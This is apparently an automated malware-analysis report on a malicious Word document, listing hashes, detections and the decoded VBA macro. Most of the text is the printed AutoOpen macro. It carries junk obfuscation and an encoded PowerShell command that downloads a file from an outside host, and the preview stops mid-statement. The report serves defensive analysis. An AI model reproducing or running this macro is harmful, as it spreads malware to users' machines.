Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4d0858e2d0020037…

MALICIOUS

Office (OLE)

279.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-01-31
MD5: 2e4f06628147cd488af573cc7bd691ce SHA-1: b08ca84865647ab1dfd819c9ad24a28691cad592 SHA-256: 4d0858e2d0020037e06dd845d8be28b6833cdcb7ed66acea3f8dff2d66400f07
190 Risk Score

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6708348-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6708348-0
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    QYpuSubixApIdezvUZaCytViSagOmAH(3) = VarType(QYpuSubixApIdezvUZaCytViSagOmAH)
    VIoZoROguNAJEtaNEdutYmaGApyaaWotyByvIGaP = "cmd.exe /c " + Chr(20 * 4) + "^o^W^e^r^" + Chr((10 * 10) + 10 + 5) + "^h^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^1^A^D^I^A^O^Q^B^z^A^G^8^A^a^A^B^k^A^G^8^A^c^w^A^y^A^D^M^A^O^A^B^z …
    Dim aIdGYapYQUQYmIlApeRifInuvIsif(4)
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Const cErqaxIZUbyrEZMehoZYQiGOgIrenYhubuSW = 0
    Sub AutoOpen()
    On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 153880 bytes
SHA-256: dcbae52415d70d6dde20810163e11fce452d2e2829cdfe548ae8c8d55e940b5d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const cErqaxIZUbyrEZMehoZYQiGOgIrenYhubuSW = 0
Sub AutoOpen()
On Error Resume Next
Dim beLeiuXohYXYbUziZEOPOiusa(4)
If "gyCAtAcOaiCUFoQIAdUHY" <> CStr("gyCAtAcOaiCUFoQIAdUHY6327") Then
   beLeiuXohYXYbUziZEOPOiusa(0) = CStr(VarType(VarType(VarType("gyCAtAcOaiCUFoQIAdUHY"))))
End If
beLeiuXohYXYbUziZEOPOiusa(1) = CInt(CStr("6327$"))
VarType gyCAtAcOaiCUFoQIAdUHY
Year 6327
If Len(beLeiuXohYXYbUziZEOPOiusa(1)) <> 13 Then
  beLeiuXohYXYbUziZEOPOiusa(2) = Hour(63277)
End If
beLeiuXohYXYbUziZEOPOiusa(3) = VarType(beLeiuXohYXYbUziZEOPOiusa)
Dim QYpuSubixApIdezvUZaCytViSagOmAH(4)
If "fYnOCXYqoDahOsaXy" <> CStr("fYnOCXYqoDahOsaXy4338") Then
   QYpuSubixApIdezvUZaCytViSagOmAH(0) = CStr(VarType(VarType(VarType("fYnOCXYqoDahOsaXy"))))
End If
QYpuSubixApIdezvUZaCytViSagOmAH(1) = CInt(CStr("4338$"))
VarType fYnOCXYqoDahOsaXy
Year 4338
If Len(QYpuSubixApIdezvUZaCytViSagOmAH(1)) <> 12 Then
  QYpuSubixApIdezvUZaCytViSagOmAH(2) = Hour(43381)
End If
QYpuSubixApIdezvUZaCytViSagOmAH(3) = VarType(QYpuSubixApIdezvUZaCytViSagOmAH)
VIoZoROguNAJEtaNEdutYmaGApyaaWotyByvIGaP = "cmd.exe /c " + Chr(20 * 4) + "^o^W^e^r^" + Chr((10 * 10) + 10 + 5) + "^h^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^1^A^D^I^A^O^Q^B^z^A^G^8^A^a^A^B^k^A^G^8^A^c^w^A^y^A^D^M^A^O^A^B^z^A^H^A^A^a^w^B^k^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^E^8^A^T^A^A^v^A^G^4^A^Z^Q^B^y^A^G^" + Chr((10 * 10) + 10 + 5) + "^A^b^w^B^t^A^C^4^A^c^A^B^o^A^H^A^A^" + Chr(20 * 4) + "^w^B^" + Chr((10 * 10) + 10 + 5) + "^A^"
Dim aIdGYapYQUQYmIlApeRifInuvIsif(4)
Dim tUvEFoPeDeREwIarAFIsZoNIyNesUzUBDISasijEHE(4)
If "DubItonuCyPeVywIfiwYkA" <> CStr("DubItonuCyPeVywIfiwYkA3675") Then
   tUvEFoPeDeREwIarAFIsZoNIyNesUzUBDISasijEHE(0) = CStr(VarType(VarType(VarType("DubItonuCyPeVywIfiwYkA"))))
End If
tUvEFoPeDeREwIarAFIsZoNIyNesUzUBDISasijEHE(1) = CInt(CStr("3675$"))
VarType DubItonuCyPeVywIfiwYkA
Year 3675
If Len(tUvEFoPeDeREwIarAFIsZoNIyNesUzUBDISasijEHE(1)) <> 11 Then
  tUvEFoPeDeREwIarAFIsZoNIyNesUzUBDISasijEHE(2) = Hour(36753)
End If
tUvEFoPeDeREwIarAFIsZoNIyNesUzUBDISasijEHE(3) = VarType(tUvEFoPeDeREwIarAFIsZoNIyNesUzUBDISasijEHE)
If "NEvugYxyQCASamaK" <> CStr("NEvugYxyQCASamaK5664") Then
Dim JUNedICOkYMEPuHOcyaAwABIsUryaOVzyPopoaY(4)
If "BaVIgUnAnYQikAQ" <> CStr("BaVIgUnAnYQikAQ665") Then
   JUNedICOkYMEPuHOcyaAwABIsUryaOVzyPopoaY(0) = CStr(VarType(VarType(VarType("BaVIgUnAnYQikAQ"))))
End If
JUNedICOkYMEPuHOcyaAwABIsUryaOVzyPopoaY(1) = CInt(CStr("665$"))
VarType BaVIgUnAnYQikAQ
Year 665
If Len(JUNedICOkYMEPuHOcyaAwABIsUryaOVzyPopoaY(1)) <> 12 Then
  JUNedICOkYMEPuHOcyaAwABIsUryaOVzyPopoaY(2) = Hour(6654)
End If
JUNedICOkYMEPuHOcyaAwABIsUryaOVzyPopoaY(3) = VarType(JUNedICOkYMEPuHOcyaAwABIsUryaOVzyPopoaY)
Dim XYFikOzoxyleXUCArYfacOHeHOXinawo(4)
If "foxusaduhaFUr" <> CStr("foxusaduhaFUr2888") Then
   XYFikOzoxyleXUCArYfacOHeHOXinawo(0) = CStr(VarType(VarType(VarType("foxusaduhaFUr"))))
End If
XYFikOzoxyleXUCArYfacOHeHOXinawo(1) = CInt(CStr("2888$"))
VarType foxusaduhaFUr
Year 2888
If Len(XYFikOzoxyleXUCArYfacOHeHOXinawo(1)) <> 12 Then
  XYFikOzoxyleXUCArYfacOHeHOXinawo(2) = Hour(28885)
End If
XYFikOzoxyleXUCArYfacOHeHOXinawo(3) = VarType(XYFikOzoxyleXUCArYfacOHeHOXinawo)
   aIdGYapYQUQYmIlApeRifInuvIsif(0) = CStr(VarType(VarType(VarType("NEvugYxyQCASamaK"))))
End If
Dim voFuSIKoTAXixoRJAveSabyDavOrEUsUQ(4)
If "dqICUBYGEdebyFocOTIwe" <> CStr("dqICUBYGEdebyFocOTIwe9631") Then
   voFuSIKoTAXixoRJAveSabyDavOrEUsUQ(0) = CStr(VarType(VarType(VarType("dqICUBYGEdebyFocOTIwe"))))
End If
voFuSIKoTAXixoRJAveSabyDavOrEUsUQ(1) = CInt(CStr("9631$"))
VarType dqICUBYGEdebyFocOTIwe
Year 9631
If Len(voFuSIKoTAXixoRJAveSabyDavOrEUsUQ(1)) <> 10 Then
  voFuSIKoTAXixoRJAveSabyDavOrEUsUQ(2) = Hour(96319)
End If
voFuSIKoTAXixoRJAveSabyDavOrEUsUQ(3) = VarType(voFuSIKoTAXixoRJAveSabyDavOrEUsUQ)
Dim TiqAsgabAgiMUtIJizerOvOLAKeDIGozUpYMo(4)
If "QYaYBbOsOVYsupYG" <> CStr("QYaYBbOsOVYsupYG3519") Then
   TiqAsgabAgiMUtIJizerOvOLAKeDIGozUpYMo(0) = CStr(VarType(VarType(VarType("QYaYBbOsOVYsupYG"))))
End If
TiqAsgabAgiMUtIJizerOvOLAKeDIGozUpYMo(1) = CInt(CStr("3519$"))
VarType QYaYBbOsOVYsupYG
Year 3519
If Len(TiqAsgabAgiMUtIJizerOvOLAKeDIGozUpYMo(1)) <> 13 Then
  TiqAsgabAgiMUtIJizerOvOLAKeDIGozUpYMo(2) = Hour(35192)
End If
TiqAsgabAgiMUtIJizerOvOLAKeDIGozUpYMo(3) = VarType(TiqAsgabAgiMUtIJizerOvOLAKeDIGozUpYMo)
aIdGYapYQUQYmIlApeRifInuvIsif(1) = CInt(CStr("5664$"))
Dim VvofuTifIFuLIsiMEXwYKoFAWOCeveCYWIj(4)
If "KofaViQBYXibYT" <> CStr("KofaViQBYXibYT1112") Then
   VvofuTifIFuLIsiMEXwYKoFAWOCeveCYWIj(0) = CStr(VarType(VarType(VarType("KofaViQBYXibYT"))))
End If
VvofuTifIFuLIsiMEXwYKoFAWOCeveCYWIj(1) = CInt(CStr("1112$"))
VarType KofaViQBYXibYT
Year 1112
If Len(VvofuTifIFuLIsiMEXwYKoFAWOCeveCYWIj(1)) <> 12 Then
  VvofuTifIFuLIsiMEXwYKoFAWOCeveCYWIj(2) = Hour(111210)
End If
VvofuTifIFuLIsiMEXwYKoFAWOCeveCYWIj(3) = VarType(VvofuTifIFuLIsiMEXwYKoFAWOCeveCYWIj)
Dim JASikytoXBaqUXOCNIZybicInJAiYzOpaa(4)
If "FrezAzfineBYbOTiRa" <> CStr("FrezAzfineBYbOTiRa6465") Then
   JASikytoXBaqUXOCNIZybicInJAiYzOpaa(0) = CStr(VarType(VarType(VarType("FrezAzfineBYbOTiRa"))))
End If
JASikytoXBaqUXOCNIZybicInJAiYzOpaa(1) = CInt(CStr("6465$"))
VarType FrezAzfineBYbOTiRa
Year 6465
If Len(JASikytoXBaqUXOCNIZybicInJAiYzOpaa(1)) <> 10 Then
  JASikytoXBaqUXOCNIZybicInJAiYzOpaa(2) = Hour(64658)
End If
JASikytoXBaqUXOCNIZybicInJAiYzOpaa(3) = VarType(JASikytoXBaqUXOCNIZybicInJAiYzOpaa)
VarType NEvugYxyQCASamaK
Year 5664
If Len(aIdGYapYQUQYmIlApeRifInuvIsif(1)) <> 11 Then
Dim KYfIJiqafewyiUaiaaaWjZUlIWyhiayJoSAj(4)
If "qoWeMEtymbOcua" <> CStr("qoWeMEtymbOcua9738") Then
   KYfIJiqafewyiUaiaaaWjZUlIWyhiayJoSAj(0) = CStr(VarType(VarType(VarType("qoWeMEtymbOcua"))))
End If
KYfIJiqafewyiUaiaaaWjZUlIWyhiayJoSAj(1) = CInt(CStr("9738$"))
VarType qoWeMEtymbOcua
Year 9738
If Len(KYfIJiqafewyiUaiaaaWjZUlIWyhiayJoSAj(1)) <> 12 Then
  KYfIJiqafewyiUaiaaaWjZUlIWyhiayJoSAj(2) = Hour(97384)
End If
KYfIJiqafewyiUaiaaaWjZUlIWyhiayJoSAj(3) = VarType(KYfIJiqafewyiUaiaaaWjZUlIWyhiayJoSAj)
Dim TUHOhSuhaGnohIqEtaXEMoKufxAT(4)
If "pIVIcOCYsYQAZECY" <> CStr("pIVIcOCYsYQAZECY6394") Then
   TUHOhSuhaGnohIqEtaXEMoKufxAT(0) = CStr(VarType(VarType(VarType("pIVIcOCYsYQAZECY"))))
End If
TUHOhSuhaGnohIqEtaXEMoKufxAT(1) = CInt(CStr("6394$"))
VarType pIVIcOCYsYQAZECY
Year 6394
If Len(TUHOhSuhaGnohIqEtaXEMoKufxAT(1)) <> 13 Then
  TUHOhSuhaGnohIqEtaXEMoKufxAT(2) = Hour(63949)
End If
TUHOhSuhaGnohIqEtaXEMoKufxAT(3) = VarType(TUHOhSuhaGnohIqEtaXEMoKufxAT)
  aIdGYapYQUQYmIlApeRifInuvIsif(2) = Hour(56646)
Dim gOtAwgiNEFeiyRyWmeToNUQOCEhAsahirOhaKONiD(4)
If "iAJYReiuqyHuxYtoWEMYx" <> CStr("iAJYReiuqyHuxYtoWEMYx881") Then
   gOtAwgiNEFeiyRyWmeToNUQOCEhAsahirOhaKONiD(0) = CStr(VarType(VarType(VarType("iAJYReiuqyHuxYtoWEMYx"))))
End If
gOtAwgiNEFeiyRyWmeToNUQOCEhAsahirOhaKONiD(1) = CInt(CStr("881$"))
VarType iAJYReiuqyHuxYtoWEMYx
Year 881
If Len(gOtAwgiNEFeiyRyWmeToNUQOCEhAsahirOhaKONiD(1)) <> 12 Then
  gOtAwgiNEFeiyRyWmeToNUQOCEhAsahirOhaKONiD(2) = Hour(8811)
End If
gOtAwgiNEFeiyRyWmeToNUQOCEhAsahirOhaKONiD(3) = VarType(gOtAwgiNEFeiyRyWmeToNUQOCEhAsahirOhaKONiD)
End If
Dim tOBEMaxUYkiPnyXteRIOzaRySes(4)
If "cEBYHuzCOfIXEdELyioK" <> CStr("cEBYHuzCOfIXEdELyioK5886") Then
   tOBEMaxUYkiPnyXteRIOzaRySes(0) = CStr(VarType(VarType(VarType("cEBYHuzCOfIXEdELyioK"))))
End If
tOBEMaxUYkiPnyXteRIOzaRySes(1) = CInt(CStr("5886$"))
VarType cEBYHuzCOfIXEdELyioK
Year 5886
If Len(tOBEMaxUYkiPnyXteRIOzaRySes(1)) <> 13 Then
  tOBEMaxUYkiPnyXteRIOzaRySes(2) = Hour(58864)
End If
tOBEMaxUYkiPnyXteRIOzaRySes(3) = VarType(tOBEMaxUYkiPnyXteRIOzaRySes)
Dim RItYWQaqyGiCANAzXEjOnIteqO(4)
If "TeREBiMIPYxCoTyR" <> CStr("TeREBiMIPYxCoTyR8781") Then
   RItYWQaqyGiCANAzXEjOnIteqO(0) = CStr(VarType(VarType(VarType("TeREBiMIPYxCoTyR"))))
End If
RItYWQaqyGiCANAzXEjOnIteqO(1) = CInt(CStr("8781$"))
VarType TeREBiMIPYxCoTyR
Year 8781
If Len(RItYWQaqyGiCANAzXEjOnIteqO(1)) <> 10 Then
  RItYWQaqyGiCANAzXEjOnIteqO(2) = Hour(87813)
End If
RItYWQaqyGiCANAzXEjOnIteqO(3) = VarType(RItYWQaqyGiCANAzXEjOnIteqO)
aIdGYapYQUQYmIlApeRifInuvIsif(3) = VarType(aIdGYapYQUQYmIlApeRifInuvIsif)
Dim niteMIrQUPiwALiXeciJkIjEiOgaKOjiFiQyhoLorO(4)
If "kOwURuKuNUMoWuXbI" <> CStr("kOwURuKuNUMoWuXbI5688") Then
   niteMIrQUPiwALiXeciJkIjEiOgaKOjiFiQyhoLorO(0) = CStr(VarType(VarType(VarType("kOwURuKuNUMoWuXbI"))))
End If
niteMIrQUPiwALiXeciJkIjEiOgaKOjiFiQyhoLorO(1) = CInt(CStr("5688$"))
VarType kOwURuKuNUMoWuXbI
Year 5688
If Len(niteMIrQUPiwALiXeciJkIjEiOgaKOjiFiQyhoLorO(1)) <> 11 Then
  niteMIrQUPiwALiXeciJkIjEiOgaKOjiFiQyhoLorO(2) = Hour(56888)
End If
niteMIrQUPiwALiXeciJkIjEiOgaKOjiFiQyhoLorO(3) = VarType(niteMIrQUPiwALiXeciJkIjEiOgaKOjiFiQyhoLorO)
Dim SOJycYKopErirxiiiZOMEFASYiOle(4)
Dim disiiIgAwudHehYRuLIiWOIveiSaqawFAPA(4)
If "ZiIavEniVAheV" <> CStr("ZiIavEniVAheV2400") Then
   disiiIgAwudHehYRuLIiWOIveiSaqawFAPA(0) = CStr(VarType(VarType(VarType("ZiIavEniVAheV"))))
End If
disiiIgAwudHehYRuLIiWOIveiSaqawFAPA(1) = CInt(CStr("2400$"))
VarType ZiIavEniVAheV
Year 2400
If Len(disiiIgAwudHehYRuLIiWOIveiSaqawFAPA(1)) <> 11 Then
  disiiIgAwudHehYRuLIiWOIveiSaqawFAPA(2) = Hour(24005)
End If
disiiIgAwudHehYRuLIiWOIveiSaqawFAPA(3) = VarType(disiiIgAwudHehYRuLIiWOIveiSaqawFAPA)
If "XekxYtoxAMubegOJEXivU" <> CStr("XekxYtoxAMubegOJEXivU6458") Then
   SOJycYKopErirxiiiZOMEFASYiOle(0) = CStr(VarType(VarType(VarType("XekxYtoxAMubegOJEXivU"))))
End If
SOJycYKopErirxiiiZOMEFASYiOle(1) = CInt(CStr("6458$"))
VarType XekxYtoxAMubegOJEXivU
Year 6458
Dim QipIVOrYSIZEaAWzAqIwuhEvoPEzYCAVos(4)
If "wUPIkukOJOKYwuQA" <> CStr("wUPIkukOJOKYwuQA9851") Then
   QipIVOrYSIZEaAWzAqIwuhEvoPEzYCAVos(0) = CStr(VarType(VarType(VarType("wUPIkukOJOKYwuQA"))))
End If
QipIVOrYSIZEaAWzAqIwuhEvoPEzYCAVos(1) = CInt(CStr("9851$"))
VarType wUPIkukOJOKYwuQA
Year 9851
If Len(QipIVOrYSIZEaAWzAqIwuhEvoPEzYCAVos(1)) <> 11 Then
  QipIVOrYSIZEaAWzAqIwuhEvoPEzYCAVos(2) = Hour(98513)
End If
QipIVOrYSIZEaAWzAqIwuhEvoPEzYCAVos(3) = VarType(QipIVOrYSIZEaAWzAqIwuhEvoPEzYCAVos)
Dim paaAZUjYtcjIaycICIQiEKSodUboio(4)
If "qytyXEqubuKuheqE" <> CStr("qytyXEqubuKuheqE9635") Then
   paaAZUjYtcjIaycICIQiEKSodUboio(0) = CStr(VarType(VarType(VarType("qytyXEqubuKuheqE"))))
End If
paaAZUjYtcjIaycICIQiEKSodUboio(1) = CInt(CStr("9635$"))
VarType qytyXEqubuKuheqE
Year 9635
If Len(paaAZUjYtcjIaycICIQiEKSodUboio(1)) <> 13 Then
  paaAZUjYtcjIaycICIQiEKSodUboio(2) = Hour(96353)
End If
paaAZUjYtcjIaycICIQiEKSodUboio(3) = VarType(paaAZUjYtcjIaycICIQiEKSodUboio)
If Len(SOJycYKopErirxiiiZOMEFASYiOle(1)) <> 12 Then
Dim FaTUgUwYZgISYjIiopyDOsYGapulPemEXyQaQoJivARIDe(4)
If "PLiauRIlaQ" <> CStr("PLiauRIlaQ6690") Then
   FaTUgUwYZgISYjIiopyDOsYGapulPemEXyQaQoJivARIDe(0) = CStr(VarType(VarType(VarType("PLiauRIlaQ"))))
End If
FaTUgUwYZgISYjIiopyDOsYGapulPemEXyQaQoJivARIDe(1) = CInt(CStr("6690$"))
VarType PLiauRIlaQ
Year 6690
If Len(FaTUgUwYZgISYjIiopyDOsYGapulPemEXyQaQoJivARIDe(1)) <> 10 Then
  FaTUgUwYZgISYjIiopyDOsYGapulPemEXyQaQoJivARIDe(2) = Hour(66907)
End If
FaTUgUwYZgISYjIiopyDOsYGapulPemEXyQaQoJivARIDe(3) = VarType(FaTUgUwYZgISYjIiopyDOsYGapulPemEXyQaQoJivARIDe)
Dim JoXyQicinyRarYkIpryGuCyLvIQifaHYWiJiX(4)
If "pequLINAJUtUvYBogE" <> CStr("pequLINAJUtUvYBogE5359") Then
   JoXyQicinyRarYkIpryGuCyLvIQifaHYWiJiX(0) = CStr(VarType(VarType(VarType("pequLINAJUtUvYBogE"))))
End If
JoXyQicinyRarYkIpryGuCyLvIQifaHYWiJiX(1) = CInt(CStr("5359$"))
VarType pequLINAJUtUvYBogE
Year 5359
If Len(JoXyQicinyRarYkIpryGuCyLvIQifaHYWiJiX(1)) <> 10 Then
  JoXyQicinyRarYkIpryGuCyLvIQifaHYWiJiX(2) = Hour(53595)
End If
JoXyQicinyRarYkIpryGuCyLvIQifaHYWiJiX(3) = VarType(JoXyQicinyRarYkIpryGuCyLvIQifaHYWiJiX)
  SOJycYKopErirxiiiZOMEFASYiOle(2) = Hour(64583)
End If
SOJycYKopErirxiiiZOMEFASYiOle(3) = VarType(SOJycYKopErirxiiiZOMEFASYiOle)


Dim zITeDUPeiUFIlyXUaAiuvumyDopEJEqiz(4)
If "nOBYMovAwUdAREjuGy" <> CStr("nOBYMovAwUdAREjuGy6847") Then
   zITeDUPeiUFIlyXUaAiuvumyDopEJEqiz(0) = CStr(VarType(VarType(VarType("nOBYMovAwUdAREjuGy"))))
End If
zITeDUPeiUFIlyXUaAiuvumyDopEJEqiz(1) = CInt(CStr("6847$"))
VarType nOBYMovAwUdAREjuGy
Year 6847
If Len(zITeDUPeiUFIlyXUaAiuvumyDopEJEqiz(1)) <> 10 Then
  zITeDUPeiUFIlyXUaAiuvumyDopEJEqiz(2) = Hour(68479)
End If
zITeDUPeiUFIlyXUaAiuvumyDopEJEqiz(3) = VarType(zITeDUPeiUFIlyXUaAiuvumyDopEJEqiz)
Dim DyQOCOlEgOXoXyvETevumYIN(4)
If "aOvAdOaEfyvA" <> CStr("aOvAdOaEfyvA6908") Then
   DyQOCOlEgOXoXyvETevumYIN(0) = CStr(VarType(VarType(VarType("aOvAdOaEfyvA"))))
End If
DyQOCOlEgOXoXyvETevumYIN(1) = CInt(CStr("6908$"))
VarType aOvAdOaEfyvA
Year 6908
If Len(DyQOCOlEgOXoXyvETevumYIN(1)) <> 10 Then
  DyQOCOlEgOXoXyvETevumYIN(2) = Hour(69084)
End If
DyQOCOlEgOXoXyvETevumYIN(3) = VarType(DyQOCOlEgOXoXyvETevumYIN)
Dim xocoWOCEVopAdzyWInUvuraUCeioBovYBIfY(4)
If "zuQojitoniviRO" <> CStr("zuQojitoniviRO6490") Then
Dim wOZAheGybIxegnaHEzoPIHEi(4)
If "hACImaQuXaTIvUr" <> CStr("hACImaQuXaTIvUr1917") Then
   wOZAheGybIxegnaHEzoPIHEi(0) = CStr(VarType(VarType(VarType("hACImaQuXaTIvUr"))))
End If
wOZAheGybIxegnaHEzoPIHEi(1) = CInt(CStr("1917$"))
VarType hACImaQuXaTIvUr
Year 1917
If Len(wOZAheGybIxegnaHEzoPIHEi(1)) <> 11 Then
  wOZAheGybIxegnaHEzoPIHEi(2) = Hour(19175)
End If
wOZAheGybIxegnaHEzoPIHEi(3) = VarType(wOZAheGybIxegnaHEzoPIHEi)
Dim vEfetUguQoQuDoSOThxVUByPIruQUVEaAKIpY(4)
If "NyraziQELIbymeKOKApef" <> CStr("NyraziQELIbymeKOKApef6032") Then
   vEfetUguQoQuDoSOThxVUByPIruQUVEaAKIpY(0) = CStr(VarType(VarType(VarType("NyraziQELIbymeKOKApef"))))
End If
vEfetUguQoQuDoSOThxVUByPIruQUVEaAKIpY(1) = CInt(CStr("6032$"))
VarType NyraziQELIbymeKOKApef
Year 6032
If Len(vEfetUguQoQuDoSOThxVUByPIruQUVEaAKIpY(1)) <> 13 Then
  vEfetUguQoQuDoSOThxVUByPIruQUVEaAKIpY(2) = Hour(60328)
End If
vEfetUguQoQuDoSOThxVUByPIruQUVEaAKIpY(3) = VarType(vEfetUguQoQuDoSOThxVUByPIruQUVEaAKIpY)
   xocoWOCEVopAdzyWInUvuraUCeioBovYBIfY(0) = CStr(VarType(VarType(VarType("zuQojitoniviRO"))))
End If
Dim NUCojineqEiyheFUfufiVYgANotuHBiFovOjeVyGo(4)
If "VopOXYzOfAPePECi" <> CStr("VopOXYzOfAPePECi6061") Then
   NUCojineqEiyheFUfufiVYgANotuHBiFovOjeVyGo(0) = CStr(VarType(VarType(VarType("VopOXYzOfAPePECi"))))
End If
NUCojineqEiyheFUfufiVYgANotuHBiFovOjeVyGo(1) = CInt(CStr("6061$"))
VarType VopOXYzOfAPePECi
Year 6061
If Len(NUCojineqEiyheFUfufiVYgANotuHBiFovOjeVyGo(1)) <> 12 Then
  NUCojineqEiyheFUfufiVYgANotuHBiFovOjeVyGo(2) = Hour(60614)
End If
NUCojineqEiyheFUfufiVYgANotuHBiFovOjeVyGo(3) = VarType(NUCojineqEiyheFUfufiVYgANotuHBiFovOjeVyGo)
Dim myRogEsABExyqIboFVEsYaOnYaOWAVYVo(4)
If "LefOjuryGeTIsE" <> CStr("LefOjuryGeTIsE2918") Then
   myRogEsABExyqIboFVEsYaOnYaOWAVYVo(0) = CStr(VarType(VarType(VarType("LefOjuryGeTIsE"))))
End If
myRogEsABExyqIboFVEsYaOnYaOWAVYVo(1) = CInt(CStr("2918$"))
VarType LefOjuryGeTIsE
Year 2918
If Len(myRogEsABExyqIboFVEsYaOnYaOWAVYVo(1)) <> 13 Then
  myRogEsABExyqIboFVEsYaOnYaOWAVYVo(2) = Hour(29187)
End If
myRogEsABExyqIboFVEsYaOnYaOWAVYVo(3) = VarType(myRogEsABExyqIboFVEsYaOnYaOWAVYVo)
xocoWOCEVopAdzyWInUvuraUCeioBovYBIfY(1) = CInt(CStr("6490$"))
VarType zuQojitoniviRO
Dim goNyaACuVaSIQAybAhsDEdyiekUvigAUv(4)
If "CcOCuSECYCup" <> CStr("CcOCuSECYCup378") Then
   goNyaACuVaSIQAybAhsDEdyiekUvigAUv(0) = CStr(VarType(VarType(VarType("CcOCuSECYCup"))))
End If
goNyaACuVaSIQAybAhsDEdyiekUvigAUv(1) = CInt(CStr("378$"))
VarType CcOCuSECYCup
Year 378
If Len(goNyaACuVaSIQAybAhsDEdyiekUvigAUv(1)) <> 12 Then
  goNyaACuVaSIQAybAhsDEdyiekUvigAUv(2) = Hour(3787)
End If
goNyaACuVaSIQAybAhsDEdyiekUvigAUv(3) = VarType(goNyaACuVaSIQAybAhsDEdyiekUvigAUv)
Dim GAbebEMAWuNVopEzAXeWIchUVASYR(4)
If "QOxUunoQOz" <> CStr("QOxUunoQOz1543") Then
   GAbebEMAWuNVopEzAXeWIchUVASYR(0) = CStr(VarType(VarType(VarType("QOxUunoQOz"))))
End If
GAbebEMAWuNVopEzAXeWIchUVASYR(1) = CInt(CStr("1543$"))
VarType QOxUunoQOz
Year 1543
If Len(GAbebEMAWuNVopEzAXeWIchUVASYR(1)) <> 11 Then
  GAbebEMAWuNVopEzAXeWIchUVASYR(2) = Hour(15431)
End If
GAbebEMAWuNVopEzAXeWIchUVASYR(3) = VarType(GAbebEMAWuNVopEzAXeWIchUVASYR)
Year 6490
Dim HIbiNOgYjIgeTYaipynaVeaaJowUmivydoqaj(4)
If "mnOpoayxUqycuMoaEw" <> CStr("mnOpoayxUqycuMoaEw6696") Then
   HIbiNOgYjIgeTYaipynaVeaaJowUmivydoqaj(0) = CStr(VarType(VarType(VarType("mnOpoayxUqycuMoaEw"))))
End If
HIbiNOgYjIgeTYaipynaVeaaJowUmivydoqaj(1) = CInt(CStr("6696$"))
VarType mnOpoayxUqycuMoaEw
Year 6696
If Len(HIbiNOgYjIgeTYaipynaVeaaJowUmivydoqaj(1)) <> 11 Then
  HIbiNOgYjIgeTYaipynaVeaaJowUmivydoqaj(2) = Hour(66964)
End If
HIbiNOgYjIgeTYaipynaVeaaJowUmivydoqaj(3) = VarType(HIbiNOgYjIgeTYaipynaVeaaJowUmivydoqaj)
Dim YZavYBQeJEGYtedTSidiryxucUVOhEViaEioqi(4)
If "XydazAjekIQAqOv" <> CStr("XydazAjekIQAqOv5899") Then
   YZavYBQeJEGYtedTSidiryxucUVOhEViaEioqi(0) = CStr(VarType(VarType(VarType("XydazAjekIQAqOv"))))
End If
YZavYBQeJEGYtedTSidiryxucUVOhEViaEioqi(1) = CInt(CStr("5899$"))
VarType XydazAjekIQAqOv
Year 5899
If Len(YZavYBQeJEGYtedTSidiryxucUVOhEViaEioqi(1)) <> 13 Then
  YZavYBQeJEGYtedTSidiryxucUVOhEViaEioqi(2) = Hour(58991)
End If
YZavYBQeJEGYtedTSidiryxucUVOhEViaEioqi(3) = VarType(YZavYBQeJEGYtedTSidiryxucUVOhEViaEioqi)
If Len(xocoWOCEVopAdzyWInUvuraUCeioBovYBIfY(1)) <> 13 Then
Dim CyveBecAKoFAVEaaioVtyjoZilUsIBYPadaA(4)
If "ZEzalEloxUhYb" <> CStr("ZEzalEloxUhYb2949") Then
